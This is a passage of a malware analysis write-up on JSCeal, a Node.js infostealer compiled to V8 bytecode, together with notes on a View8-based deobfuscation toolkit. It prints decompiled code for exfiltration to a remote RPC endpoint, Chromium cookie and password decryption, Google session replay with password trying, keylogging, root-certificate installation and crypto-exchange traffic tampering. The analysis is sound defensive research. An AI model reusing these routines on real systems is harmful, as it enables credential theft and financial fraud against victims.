{"application": null, "value": null} r8["application"] = global_fi["string"]() r8["value"] = global_fi["string"]() global_DL = r6(r8) r9 = new {"secrets": null} r13 = new {"save": null} r17 = (global_DB["procedure"])["input"] r17 = r17(global_DL) r16 = r17["meta"] r18 = new {"openapi": null} r19 = new {"method": null, "path": null} r19["method"] = "POST" r19["path"] = "/applications/secrets/save" r18["openapi"] = r19 r16 = r16(r18) r15 = r16["output"] r17 = global_fi["void"] r17 = r17() r15 = r15(r17) r14 = r15["mutation"] r13["save"] = r14(func_saveApplicationSecretHandler_0x10000c8a4) r9["secrets"] = (global_DB["router"])(r13) global_fU = (global_DB["router"])(r9) return undefined } An analogous route handles collected wallet mnemonic data through  /wallets/mnemonic/save : function func_initializeMnemonicRouter_0x10000c89d() { [...] r11["path"] = "/wallets/mnemonic/save" [...] r5["saveMnemonic"] = r6(func_saveMnemonicHandler_0x10000c89c) // leads to: func_saveMnemonic_0x1000005dc } The handler passes the record type, collected value, mutation callback, and fields used by the common diff/save helper to  global_hl . After computing whether the new value changes the stored state, the helper invokes the corresponding  global_iB  mutation when a save is required. function func_saveMnemonic_0x1000005dc(a0) { r7 = "mnemonic" r9 = global_iB["wallets"]["saveMnemonic"] r9 = r9["mutate"] r11 = new [0] r11[0] = "words" r5 = r2 return global_hl(r7, a0, r9, r11) } The initializer ( func_initializeNetworkClient_0x100006702 )  wires  global_iB  to two actual transports :  the  RequestLink  uses  func_sendBinaryData_0x100006700 , while its  SocketLink  uses  func_connectWebSocket_0x1000066ff . See the original function [ here ]. Following  func_sendBinaryData_0x100006700  shows where the HTTP path leads next: function func_sendBinaryData_0x100006700() { r1 = ... r0 = ... r3 = undefined r4 = func_buildRpcUrl_0x1000004c7("https", ("")) return func_postBinaryData_0x1000004c4(...r3, r4, r1) } There is an analogous function for the WebSocket: function func_connectWebSocket_0x1000066ff() { r1 = func_buildRpcUrl_0x1000004c7("wss") ACCU = func_createWriteStream_0x100005cb8 return func_createWriteStream_0x100005cb8(r1) } The URL builder constructs an RPC endpoint in the form  https://api.<domain>/rpc  or  wss://api.<domain>/rpc , and adds  machineId  and  token  query parameters. function func_buildRpcUrl_0x1000004c7(a0, a1) { ... r7 = (a0 + "://api.") r7 = (r7 + global_CE) r5 = (r7 + "/rpc") r11 = new {"machineId": null, "token": null} r11["machineId"] = global_cE r11["token"] = r1 return func_buildUrlWithParams_0x1000002a6(r5, r11) } The HTTP transport ultimately performs a binary POST: function func_postBinaryData_0x1000004c4(a0, a1, a2) { ... r7 = global__b["post"] r11 = new {"headers": null, "responseType": null, "signal": null} r12 = new {"content-type": null} r12["content-type"] = "application/octet-stream" r11["headers"] = r12 r11["responseType"] = "arraybuffer" r8 = r7(a0["toString"](), a1, r11) r7 = await r8 ... } It submits the supplied binary payload as  application/octet-stream  and expects an  arraybuffer  response. Stealing browser data The browser module is one of the broader components recovered from the payload. Rather than implementing a parser for a single Chrome profile, JSCeal defines a common abstraction for several Chromium-based browsers. In the analyzed sample, the configuration includes Google Chrome, Microsoft Edge, Brave, Opera, Opera GX, Avast Secure Browser, Vivaldi, and Cốc Cốc. For each browser, the malware stores the executable name and the expected location of its user-data directory. Some entries also contain browser-specific launch arguments, extension settings, and cryptographic material. A fragment of the configuration is shown below: function func_initializeBrowserConfig_0x10000a9ad(a0) { [...] r6 = new {"browsers": null, "extensions": null} r7 = new {"CHROME_BROWSER": null, "EDGE_BROWSER": null, "BRAVE_BROWSER": null, "OPERA_BROWSER": null, "OPERA_GX_BROWSER": null, "AVAST_BROWSER": null, "VIVALDI_BROWSER": null, "COCCOC_BROWSER": null} r8 = new {"executable": null, "userData": null, "hmacKey": null, "serviceKeys": null, "msi": null} r8["executable"] = "chrome.exe" r9 = r1["join"] r8["userData"] = r9("AppData", "Local", "Google", "Chrome", "User Data") r8["hmacKey"] = func_base64ToBuffer_0x10000a9a9("50jzNthepfnc3yXY80emW0zfZnYA8C32ckoq8YohLSa3iKJQhpEM86kDE2locfPcBYI3MMkd+LpcT9nIhLUFqA==") r9 = new {"v1": null, "v2": null, "v3": null} r9["v1"] = func_base64ToBuffer_0x10000a9a9("sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=") r9["v2"] = func_base64ToBuffer_0x10000a9a9("6Y831/Th+kM9GTBNwiWAQgkOLR1+6nZw1B9zjQhylmA=") r10 = new {"name": null, "value": null} r10["name"] = "Google Chromekey1" r10["value"] = func_base64ToBuffer_0x10000a9a9("zPihzsVmBbhRdVK6Gi0GHAOinpAnT7L89Zukt1w5I5A=") r9["v3"] = r10 r8["serviceKeys"] = r9 [...] You can see the full function [ here ]. The code reads the browser’s  Local State  file and uses its  profile.info_cache  structure to enumerate available profiles. Each profile is then represented by an object exposing separate iterators for the artifacts that can be collected: iterCookies iterLogins iterSessions iterTokens iterHistoryURLs iterBookmarks iterExtensions The  Local State  file also contains information required to decrypt protected browser data. JSCeal retrieves both the traditional encrypted key and the newer App-Bound encrypted key: function func_readEncryptionKeys_0x10000b6e9(a0, a1, a2) { Scope[1593][3] = a1 Scope[1593][2] = a2 r6 = <closure> r7 = <this> r0 = a2 ACCU = func_b_0x10000b6e6 Scope[1593][4] = func_b_0x10000b6e6 try { r7 = Scope[1591][11]["join"] r1 = r7(a0, "Local State") r7 = Scope[1591][9]["readJSON"] r8 = r7(r1) r7 = r0 r7 = await r8 r8 = _GeneratorGetResumeMode(r0) if (!r8 === 0) { ACCU = r7 } r3 = r7["os_crypt"]["encrypted_key"] r4 = r7["os_crypt"]["app_bound_encrypted_key"] r7 = new {"key": null, "appBoundKey": null} r7["key"] = func_decodeBase64Buffer_0x10000b6eb(r3, func_decryptKey_0x10000b6e7) r7["appBoundKey"] = func_decodeBase64Buffer_0x10000b6eb(r4, func_decryptAppBoundKey_0x10000b6e8) r8 = r7 r7 = r0 ACCU = r8 return r8 } catch {} r7 = ACCU ACCU = null ACCU = Scope[1594] r8 = r0 return Scope[1594][2] } Note: the  _GeneratorGetResumeMode  check is V8’s internal mechanism for resuming after an  await ; it can be treated as control-flow bookkeeping. Cookies are read directly from the SQLite database located at: <profile>\Network\Cookies The query retrieves both plaintext and encrypted values, along with the host, path, expiry time,  HttpOnly  flag, and  SameSite  setting: SELECT host_key, path, name, CAST(value AS BLOB) AS plain_value, CAST(encrypted_value AS BLOB) AS encrypted_value, is_httponly, samesite, expires_utc FROM cookies If a plaintext value is not present, the encrypted value is passed to the browser-data decryption routine. The resulting record is normalized into a structure such as: { host: host_key, path: path, name: name, value: decryptedValue, httpOnly: isHttpOnly, sameSite: sameSite, expiresAt: expiryDate } Saved credentials are handled in a similar way. JSCeal opens the  Login Data  database and extracts the origin, username, and encrypted password: SELECT origin_url, username_value, password_value FROM logins Original snippet [ here ]. After decryption, the malware produces a structured credential record: { origin: row["origin_url"], username: row["username_value"], password: decryptedPassword } The decryption implementation supports multiple Chromium data formats. Values prefixed with  v10  or  v11  are decrypted using the key recovered through DPAPI. Values prefixed with  v20  use the App-Bound key. Records without one of these prefixes are passed directly to the native DPAPI unprotection routine, optionally under the security context of the browser’s user session. The responsible code: function func_decryptPassword_0x10000af0f(a0, a1, a2, a3) { r1 = Scope[1930][27]["startsWith"] if (r1(a0, "v10")) r1 = Scope[1930][27]["startsWith"] || (r1(a0, "v11")) { if (!a1) { ACCU = Error ACCU = Error("DPAPI key is required") } r4 = a0["subarray"] r4 = r4(3) return func_decryptAesGcm_0x10000af16(r4, a1) } r1 = Scope[1930][27]["startsWith"] if (r1(a0, "v20")) { if (!a2) { r2 = "AppBound key is required" ACCU = Error ACCU = Error(r2) } r4 = a0["subarray"] r4 = r4(3) return func_decryptAesGcm_0x10000af16(r4, a2) } if (a3 == null) { ACCU = Error ACCU = Error("Session id is required") } return func_decryptData_0x10000af12(a0, a3) } This gives JSCeal access not only to raw browser files, but to usable records containing session cookies, usernames, and decrypted passwords. The data can be saved through the malware’s collection handlers, consumed by platform-specific modules, or reused immediately by another part of the browser component. One of those uses goes beyond passive credential collection. From stolen browser data to active session replay The browser router contains a dedicated operation named  saveAndroidTokens : r9 = new {"start": null, "saveProfiles": null, "saveExtensions": null, "saveAndroidTokens": null, "openLink": null} [...] r10 = (global_Nh["procedure"])["mutation"] r9["saveAndroidTokens"] = r10(func_processBrowserCookies_0x1000006d5) [...] Original snippet [ here ]. The implementation uses Puppeteer together with  puppeteer-extra . Before launching the browser, it registers a set of core and stealth plugins. It also uses  ghost-cursor  to perform some of the page interactions. The malware does not download a separate Chromium build. It launches one of the browsers already installed on the machine, using the executable paths and profiles discovered by the browser module. The launch configuration explicitly selects Puppeteer’s headless shell mode: options["executablePath"] = browserExecutable options["headless"] = "shell" browser = puppeteer.launch(options) You can see the full function [ here ]. JSCeal first creates a page and injects cookies recovered from the victim’s browser profile: page = await browser.newPage() await page.setCookie(...recoveredCookies) It then opens Google’s Android authentication endpoint: https://accounts.google.com/o/android/auth?return_user_id=true You can see the full function [ here ]. The navigation waits until network activity has settled: await page.goto( "https://accounts.google.com/o/android/auth?return_user_id=true", { waitUntil: "networkidle2" } ) You can see the full function [ here ]. Once the page is loaded, the malware enumerates the Google accounts displayed in the current session: const elements = await page.$$("div[data-email]") Original snippet [ here ]. For each recovered email address, it queries the passwords previously extracted from browser storage. It then selects the corresponding account using a selector built from the email address: await cursor.click( "div[data-identifier=\"" + email + "\"]" ) You can see the full function [ here ]. The automation handles multiple branches of Google’s authentication flow, including: /signinchooser /signin/confirmidentifier /signin/challenge /signin/challenge/selection /signin/challenge/pwd /oauth2/programmatic_auth You can see the full function [ here ]. When a password challenge is reached, JSCeal iterates over the candidate passwords associated with that account: for (password of recoveredPasswords) { console.info("Trying password " + password) await page.type( "input[type='password']", password ) // Continue the authentication flow and inspect the result. } You can see the full function [ here ]. An invalid password is detected through the state of the password input. A successful attempt is expected to lead either to the programmatic OAuth endpoint or to another supported challenge stage. After authentication, the malware reads the browser’s cookies and searches specifically for: user_id oauth_token The result is returned together with the password that produced it: { userId: userIdCookie, token: oauthTokenCookie, password: successfulPassword } Finally, the token is saved through the malware’s Google handler with its scope explicitly marked as  ANDROID : await google.saveOAuthToken.mutate({ userId: userId, scope: "ANDROID", value: token }) You can see the full function [ here ]. This changes the nature of the browser-stealing capability. JSCeal does not just copy cookies and password databases for later examination by the attacker. It can reconstruct a browser session, replay the victim’s cookies, correlate Google accounts with passwords recovered from the same host, automate authentication challenges, and obtain a fresh OAuth token. The use of stealth plugins and  ghost-cursor  suggests an attempt to reduce obvious automation fingerprints and make interaction with the login pages resemble ordinary browser activity. It does not guarantee that the procedure succeeds against every version of Google’s authentication flow, but the deobfuscated code clearly shows that the complete workflow was implemented. Not every browser-related operation uses Puppeteer. A separate  openLink  handler launches an installed browser directly with the selected  --user-data-dir  and  --profile-directory . Puppeteer is used for the more involved operation where JSCeal needs to inject cookies, navigate between authentication stages, interact with page elements, and retrieve the resulting authentication state. Spying functionality The function labeled  func_initializeScreenCaptureModule_0x10000d2e3  is indeed responsible for setting up screenshot capture, but its scope goes beyond that. Inside we also find a keylogger and handlers for enumerating and manipulating visible windows. The inner functions carry more granular labels —  func_takeScreenshot_0x10000d2d1 ,  func_getVisibleWindows_0x10000d2d3 ,  func_controlWindow_0x10000d2d4 ,  func_initKeyboardCapture_0x10000d2e1  — and taken together they reveal what the parent name understates. Examining each function manually confirms that this is a broader surveillance module. function func_initializeScreenCaptureModule_0x10000d2e3() { Scope[7][10] = func_c_0x10000d2c7 r5 = func_initializeNativeModule_0x1000054f8["exports"]() global_K5 = func_interopRequireWildcard_0x10000317a(r5) r5 = func_initKeyboardModule_0x10000d2c6["exports"]() global_e6 = func_interopRequireWildcard_0x10000317a(r5) ACCU = func_requireCluster_0x10000317e() ACCU = func_noopDispose_0x10000676f() ACCU = func_initClusterModule_0x10000cdef() ACCU = func_initializeObservableAbortError_0x100006649() ACCU = func_noopSetup_0x100006778() ACCU = func_noopHandler_0x10000673e() ACCU = func_unknown_0x10000590f() ACCU = func_initializeBufferCheck_0x10000701a() r6 = global_e6["keyboard"]["start"] r5 = r6["bind"] r5 = r5(global_e6["keyboard"]) r7 = global_e6["keyboard"]["stop"] r6 = r7["bind"] r6 = r6(global_e6["keyboard"]) global_TL = func_createAbortableStream_0x1000004e4(r5, r6) r2 = (func_createInstance_0x100000ab5())["router"] r4 = new {"screenshot": null, "windows": null, "keydown": null} r7 = (func_createInstance_0x100000ab5())["procedure"] r6 = r7["input"] r9 = global_fi["number"]() r8 = r9["optional"] r8 = r8() r6 = r6(r8) r5 = r6["query"] r4["screenshot"] = r5(func_takeScreenshot_0x10000d2d1) r5 = (func_createInstance_0x100000ab5())["router"] r7 = new {"visible": null, "control": null, "flash": null} r9 = (func_createInstance_0x100000ab5())["procedure"] r8 = r9["query"] r7["visible"] = r8(func_getVisibleWindows_0x10000d2d3) r10 = (func_createInstance_0x100000ab5())["procedure"] r9 = r10["input"] r11 = global_fi["object"] r13 = new {"handle": null, "command": null} r13["handle"] = global_fi["number"]() r17 = func_getObjectKeys_0x1000004ce(global_K5["windowCommands"]) r13["command"] = func_enumValue_0x100000542(r17) r11 = r11(r13) r9 = r9(r11) r8 = r9["mutation"] r7["control"] = r8(func_controlWindow_0x10000d2d4) r10 = (func_createInstance_0x100000ab5())["procedure"] r9 = r10["input"] r11 = global_fi["number"]() r9 = r9(r11) r8 = r9["mutation"] r7["flash"] = r8(func_flashWindow_0x10000d2d5) r4["windows"] = r5(r7) r6 = (func_createInstance_0x100000ab5())["procedure"] r5 = r6["subscription"] r4["keydown"] = r5(func_initKeyboardCapture_0x10000d2e1) global_LL = r2(r4) ACCU = func_runIfWorkerPool_0x10000000b(("sessions"), func_initWorkerSocketLL_0x10000d2e2) return undefined } Interception proxy and targeted traffic manipulation A common technique used by banking trojans is to install a local proxy and inject or modify web content in selected services. JSCeal follows a similar pattern: the recovered code shows proxy setup, certificate generation and installation, and service-specific request and response modification. There is a function that runs the local proxy: function func_setLocalProxy_0x10000be31(a0) { r2 = ("127.0.0.1:" + Scope[1139][4]) return func_setProxyLoop_0x100000a41(a0, r2) } We can find a function that generates a certificate: function func_generateKeyPairAndCertificate_0x10000072c() { r6 = (require("crypto"))["generateKeyPairSync"] r7 = "rsa" r8 = new {"modulusLength": 2048, "publicKeyEncoding": null, "privateKeyEncoding": null} r9 = new {"type": null, "format": null} r9["type"] = "pkcs1" r9["format"] = "pem" r8["publicKeyEncoding"] = r9 r9 = new {"type": null, "format": null} r9["type"] = "pkcs8" r9["format"] = "pem" r8["privateKeyEncoding"] = r9 r6 = r6(r7, r8) r3 = r6["privateKey"] r4 = func_generateSelfSignedCertificate_0x10000071d(4096) r6 = new {"privateKey": null, "certificate": null} r6["privateKey"] = r3 r6["certificate"] = r4 return r6 } Then, it installs a locally generated, attacker-controlled root certificate onto the victim machine, first dropping it as a temporary file, and then using  certutil  to add it to the local store. function func_installCertificate_0x100000a3e(a0) { r6 = <closure> r7 = <this> ACCU = func_n_0x100000a3c try { r8 = global_UK["tmpName"]() r7 = await r8 r8 = _GeneratorGetResumeMode(Scope[10601]) if (!r8 === 0) { ACCU = r7 } r3 = r7 ACCU = r3 try { r10 = (require("fs/promises"))["writeFile"] r11 = r10(r3, a0) r10 = await r11 r11 = _GeneratorGetResumeMode(Scope[10601]) if (!r11 === 0) { ACCU = r10 } r13 = "certutil" r15 = new [0, "-f", 0, 0] r15[0] = "-addstore" r15[2] = "root" r15[3] = r3 r11 = r2 r11 = func_spawnChildProcess_0x100000706(r13, r15) r10 = await r11 r11 = _GeneratorGetResumeMode(Scope[10601]) if (!r11 === 0) { ACCU = r10 } ACCU = -1 r8 = -1 r7 = -1 } catch { r8 = ACCU r7 = 0 } r11 = (require("fs/promises"))"rm" r10 = await r11 r11 = _GeneratorGetResumeMode(Scope[10601]) if (!r11 === 0) { ACCU = r10 } ACCU = null if (r7 === 0) { ACCU = r8 } r8 = undefined ACCU = r8 return r8 } catch {} r7 = ACCU ACCU = null ACCU = Scope[10602] return Scope[10602][2] } The proxy is not limited to passive interception. The recovered code contains dedicated handlers that modify selected requests and responses for specific services. A configuration function exposes separate overrides for Binance, Bybit, and Ledger, as well as generic handlers for replacing HTML, blocking hosts, and clearing selected cookies. function func_applyInputOverrides_0x10000be34(a0) { ACCU = a0["input"]["binance"] r2 = a0["input"]["binance"] if (!a0["input"]["binance"] == undefined) { ACCU = r2["overrideQR"] } else { ACCU = undefined } if (ACCU) { r2 = global_Nm["overrideQR"] r4 = a0["input"]["binance"]["overrideQR"] ACCU = r2(r4) } else { ACCU = global_Nm["disableOverrideQR"]() } ACCU = a0["input"]["bybit"] [...] You can see the full function [ here ]. For Binance, JSCeal intercepts the QR-login response and replaces the returned  qrCode  value with a configured value. function func_appendQrCode_0x1000009f1(a0) { if (a0["json"]["success"]) { r2 = a0["json"]["data"] r2["qrCode"] = Scope[10627][2] r2 = new {"json": null} r2["json"] = a0["json"] return r2 } return undefined } The Bybit handlers go further. One forwards intercepted verification components through the same  global_iB  network client described earlier and removes them from the intercepted response. function func_sendBybitCodes_0x100000a09(a0) { Scope[10623][3] = func_x_0x100000a07 r4 = Object["entries"] r6 = a0["json"]["component_list"] r4 = r4(r6) r3 = r4["map"] r1 = r3(func_joinWithColon_0x100000a08) if (r1["length"]) { r5 = global_iB["notifications"]["send"] r4 = r5["mutate"] r7 = r1["join"] r6 = ("Bybit codes\\n" + r7("\\n")) r4 = r4(r6) r3 = r4["catch"] ACCU = r3(func_pushError_0x100000142) } a0["json"]["component_list"] = {} r3 = new {"json": null} r3["json"] = a0["json"] return r3 } Another converts a successful  pass  result into a new  challenge  with a randomly generated risk token. function func_injectRiskToken_0x100000a0d(a0) { if (!a0["json"] == undefined) ACCU = a0["json"]["result"] r4 = a0["json"]["result"] && (!a0["json"]["result"] == undefined) { ACCU = r4["risk_token_type"] } else { ACCU = undefined } r4 = ACCU if (r4 === "pass") { r2 = a0["json"]["result"] r3 = "risk_token" r4 = (require("crypto"))["randomUUID"] r2[r3] = r4() r2 = a0["json"]["result"] r2["risk_token_type"] = "challenge" r2 = new {"json": null} r2["json"] = a0["json"] return r2 } return undefined } A Ledger-specific handler intercepts  /public_resources/analytics.min.js  from  resources.live.ledger.app  and substitutes a generated script that hides the existing React root and displays configured HTML in its place. function func_initErrorDisplay_0x100000a1a(a0) { ACCU = func_removeElement_0x100000a1c() Scope[10617][3] = func_buildErrorDisplayScript_0x100000a1e(a0) r4 = (global_Gm["createChild"]())["get"] r6 = "resources.live.ledger.app" r7 = "/public_resources/analytics.min.js" r8 = new {"response": null} r9 = new {"full": null} r9["full"] = func_createFullBody_0x100000a19 r8["response"] = r9 ACCU = r4(r6, r7, r8) return undefined } Other utility handlers can return arbitrary HTML with a  200  response while stripping CSP and content encoding, return an empty  403  response for selected hosts, or clear selected cookies in intercepted requests and responses. Cryptocurrency account and balance collection JSCeal contains multiple handlers targeting cryptocurrency platforms. One class of handlers intercepts account data and records cryptocurrency balances. For example, Kraken is one of the targeted services. The snippet below shows the corresponding initialization. function func_initKrakenRouter_0x10000bc3e(a0) { Scope[1246][6] = func_a_0x10000bc35 ACCU = a0 if (a0) { ACCU = a0["__importDefault"] } if (!ACCU) { ACCU = func_interopRequireDefault_0x10000bc3a } r1 = ACCU r7 = Object["defineProperty"] r10 = "__esModule" r11 = new {"value": <true} ACCU = r7(a0, r10, r11) r10 = func_initModule_0x10000ba72["exports"]() Scope[1246][7] = r1(r10) r2 = func_initJsonTransformerModule_0x10000ba7b["exports"]() r3 = func_initializeRouterBridgeModule_0x10000ba61["exports"]() r4 = "iapi.kraken.com" r7 = r3["Router"] r5 = r7(r0) r7 = r5["get"] r10 = "/api/internal/account/balance/history" r11 = new {"response": null} r12 = new {"full": null} r13 = r2["jsonTransformer"] r12["full"] = r13(func_saveKrakenBalance_0x10000bc3d) r11["response"] = r12 r8 = r5 ACCU = r7(r4, r10, r11) a0["default"] = r5 return undefined } function func_saveKrakenBalance_0x10000bc3d(a0) { Scope[1247][3] = func_C_0x10000bc3b r4 = a0["json"]["result"]["historical_balances_per_asset_category"] r3 = r4["map"] r1 = r3(func_getLastHistoricalBalance_0x10000bc3c) r4 = Scope[1246][7]["default"] r3 = r4["saveBalance"] if (!r4["saveBalance"] == undefined) { r5 = new {"source": null, "name": null, "value": null} r5["source"] = "EXCHANGE" r5["name"] = "KRAKEN" r5["value"] = r1 ACCU = r3(r5) } else { ACCU = undefined } return undefined } function func_getLastHistoricalBalance_0x10000bc3c(a0) { r0 = a0["historical_balances"] return r0[(a0["historical_balances"]["length"] - 1)] } We extracted platform identifiers from all  saveBalance  calls, obtaining the following list of targets: UBITEXPAXFULKRAKENHTXCOINSPHTOKOCRYPTOOKXKCEXHATACOINHUBREMITANONOONESFORTUNO_MARKETSGATEIOBYBITPOLONIEXMEXCCSGOEMPIREFMCPAYBINANCEPIONEXKUCOINI3QDIGIFINEXASCENDEX JSCeal evolution The last JSCeal payload we observed using V8  10.2.154.26-node.25  was  0d1fce0cb2b9dec26a10f0822aeffb19 , associated with campaigns starting at the end of October 2025. By that time, we could already see the authors making incremental changes intended to complicate analysis. Earlier, the JavaScript launcher had been renamed from  preflight.js  to  preload.js  and, along with this change, was itself obfuscated using the same  javascript-obfuscator . The payload was also renamed to  app.js . Although its contents were still a V8 code cache rather than JavaScript source, the new name made it blend in better with ordinary application files and rendered hunting based on the  .jsc  extension ineffective. These changes were still relatively minor and did not require modifications to our analysis toolkit. A more significant update appeared in campaigns starting early November 2025. The bundled Node.js runtime was upgraded, bringing V8 to  13.6.233.10-node.28 . In our experiments, code caches produced for this runtime proved considerably more sensitive to the exact runtime build and snapshot configuration, making it more difficult to obtain a compatible standalone V8 disassembler. However, once we were able to recover and decompile the bytecode, the overall payload structure remained familiar. We could recognize the same  javascript-obfuscator  patterns, including the string-decoding infrastructure, proxy indirection, and control-flow flattening used by the earlier generation. The authors introduced another obstacle by adding an AES-256-CBC encryption layer around the Brotli-compressed payload. The first encrypted payload we observed was generated on  2025-11-11  ( 581e2e2265d0c1509b3799c5a9039374 ). The AES key is not stored in the malware bundle itself. Instead, another stage of the deployment chain provides it through an environment variable. Recovering the underlying V8 code cache therefore requires obtaining the corresponding key from the surrounding infection chain, which is not always possible when only an isolated bundle or payload is available. Protecting a payload with an encryption key supplied by an earlier deployment stage is an effective anti-analysis technique, consistent with patterns seen in other mature malware frameworks. Alongside these changes in payload protection, we also observed campaigns targeting macOS; one example is  de10c6b3dc4619f59bc9c80a0aa15e6a . Taken together, these developments show that the JSCeal authors are investing both in making the payload harder to analyze and in broadening its platform coverage. With campaigns continuing into recent months, the changes indicate that JSCeal remains under active development. Conclusions JSCeal combines two forms of analysis friction: a version-specific compiled V8 format and several layers of JavaScript obfuscation applied before compilation. Neither makes the malware impossible to reverse, but together they move it outside the workflows that analysts normally rely on. Several conclusions emerged from this work. Format choice creates asymmetric analysis cost.  Attackers do not need a custom compiler or a novel virtual machine to obtain meaningful protection. They can combine the Node.js ecosystem, an off-the-shelf obfuscator, and V8 code caching to produce capable malware quickly. The defender, meanwhile, has to deal with version-sensitive bytecode, immature tooling, and a large pseudocode corpus before reaching the application logic. Layered obfuscation needs to be addressed with layered deobfuscation.  JSCeal’s transformations depend on one another. Recovered strings expose dictionary keys and dispatcher order; those expose proxy relationships; proxy cleanup reveals simple operations and direct calls. Reconstructing the script in one go was not possible. We had to isolate each transformation and undo them by a narrow, ordered sequence. Static recovery can be practical without producing runnable source.  View8 pseudocode is not the original JavaScript, and our pipeline does not attempt to make it executable. Nevertheless, the recovered representation is sufficient for ordinary analytical work: following logic, locating capabilities, extracting artifacts, comparing samples, and validating behavior against runtime observations. LLM-assisted naming is useful as navigation, not as evidence.  Dependency-aware renaming can make very large recovered codebases substantially easier to browse, especially after deterministic deobfuscation has already exposed meaningful strings and calls. Our evaluation also showed why the labels must remain hypotheses: different models often choose different levels of abstraction, and even strong models can produce confident but incorrect names. The function body, strings, APIs, paths, and data flow remain the evidence. The recovered JSCeal code exposes a broad capability set.  The analyzed payloads include browser and credential theft, cryptocurrency-focused collection, Telegram session theft, keyboard capture, screenshots, and a local HTTPS interception proxy capable of installing an attacker-controlled certificate. Static recovery makes it possible to examine not only behavior observed during one run, but also branches that may not execute in a particular environment. Version sensitivity remains a tooling challenge.  The move from the V8  10.2.154.26-node.25  generation to  13.6.233.10-node.28  demonstrates the cost of relying on an internal, version-specific format. A new runtime generation can require renewed work at the disassembly layer even when the malware’s higher-level structure and obfuscation remain recognizable. The main result is therefore not perfect source reconstruction. It is a repeatable path from a compiled, obfuscated V8 payload to code that can be inspected and compared again. We released version 1.0 of the toolkit [ 7 ] as a reference implementation of that methodology and as a starting point for analysts facing similar V8-based payloads. The current end-to-end setup targets V8  10.2.154.26-node.25 . We are planning to add support for V8  13.6.233.10-node.28  in future releases. The recent JSCeal changes show that the problem is still moving. Payload names, runtime versions, encryption layers, and target platforms can change while the core analysis challenge remains the same: recover enough structure to turn an opaque compiled artifact back into evidence. Appendix – A Listing of the most important changes introduced in the View8 code during the development of the deobfuscation pipeline. Serializing output By default, View8 emits only a text representation of the decompiled output. As part of our pipeline, we needed to apply multiple transformation passes. Working with the decompiler’s internal representation was much more convenient than parsing raw text. This is why we introduced an additional output format: a serialized object graph representing the internal decompilation state. Python’s pickle format was chosen for convenience. The deobfuscator loads the pickled input and operates directly on the reconstructed View8 objects. Each pass can work independently, reading the serialized state produced by the previous pass. Splitting output Another difficulty in JSCeal analysis was the significant size of the output, which reached up to 47 MB because the payload included a large number of bundled modules. As a result, finding the code that belonged to the malware itself was quite challenging. To make the output easier to navigate, we added to the View8 decompiler the ability to split it into separate files, each representing a single tree of function dependencies. The tree can be constructed using different relationship types: the declarer hierarchy ( declarers ), direct function calls ( calls ), or broader function references ( references ). For call- and reference-based trees, the analyst can also control the traversal depth and separate larger branches into individual files. This makes it possible to extract a focused subsystem around a selected root without printing the entire payload. Normalization of the generated function identifiers Each function name generated by the View8 decompiler contains a hexadecimal suffix derived from address values present in the V8 disassembly. These values correspond to live heap addresses used by V8 and are not stable across different runs. Because of ASLR, disassembling the same JSC file twice may therefore produce different function identifiers. The relative object layout may also differ between V8 or disassembler builds, making simple address rebasing insufficient. For reproducible output, we added the  --normalize  option. It replaces the address-derived suffixes with deterministic identifiers based on the order in which functions are encountered while parsing the disassembly. A fixed virtual base is added to the parse index, preserving the familiar  func_<name>_0x<value>  format while making the identifiers independent of the original heap layout. The mapping between the original and normalized function names can optionally be exported to a CSV file using  --normalize-map . Function and line metadata We introduced a  metadata  field to each line and function. This lets us pass information between each layer of the deobfuscator and reduces the burden of reparsing. For example, once we parse a line and enumerate all the registers it references, this information can be stored in the line object for further use. Similarly, metadata can be added to a function. As a result, even after deobfuscating a function we don’t lose the information about what type of obfuscation was applied to it (for example: Control Flow Flattening). We can filter the functions by the metadata tags, and display them selectively. Hiding functions In past releases, View8 allowed lines to be hidden by setting the visibility field in the line object. While this feature is very useful, it may not be enough when we are dealing with obfuscated code. Sometimes there is a need to hide entire functions, not only selected lines. For example, we will encounter multiple proxy functions, of different types, that were introduced only for the purpose of complicating the code flow. Sometimes a single call is done by a rabbit-hole of proxies, that have to be understood and then removed, to make the call direct. There are also many small functions whose only role is to implement a single arithmetic operation. During the deobfuscation process, those functions will be parsed and the calls to them will be replaced by the explicit operations. Once the functions are resolved, they can be safely hidden. Changed representation of globals The original View8 output displays global variables by the names with which they were declared. In the case of obfuscated code, those names are intentionally made meaningless. Sometimes they are one or two characters long. We also encountered cases in which the names of globals were identical to the names of registers used by the standard JSC code ( r{number} ) and therefore, understanding what they really represent required broader contextual analysis. In order to make the meaning more explicit, and the output easier to parse, we appended the  global_  prefix to each global variable. Once the globals are parsed, their explicit definition in the start function ( DeclareGlobals ) is hidden. Example: Before: ACCU = DeclareGlobals(["oQ", "kg", "xQ",...]) [...] oQ = Object["create"] kg = Object["defineProperty"] xQ = Object["getOwnPropertyDescriptor"] After: global_oQ = Object["create"] global_kg = Object["defineProperty"] global_xQ = Object["getOwnPropertyDescriptor"] Appendix – B The analyzed files Note: The tests were performed on 23 different payloads using V8  10.2.154.26 . During two unattended test runs, documented in the repository [ 8 ] (directory  sessions_23_samples ), all filters completed without exceptions and produced output suitable for code-level analysis. The collected logs show the details of each run, along with the timing and evaluation. The appendix lists one additional, older payload beyond the 23-sample main evaluation corpus. Its deobfuscation was successful, but it uses an earlier, simpler string-obfuscation variant handled by  deobf_str1.py , so it was not included in the automated pipeline evaluation. JSC files (original, Brotli-compressed) with corresponding bundle ( build.zip ): md5 (jsc) sha256 (jsc) sha256 (bundle.zip) 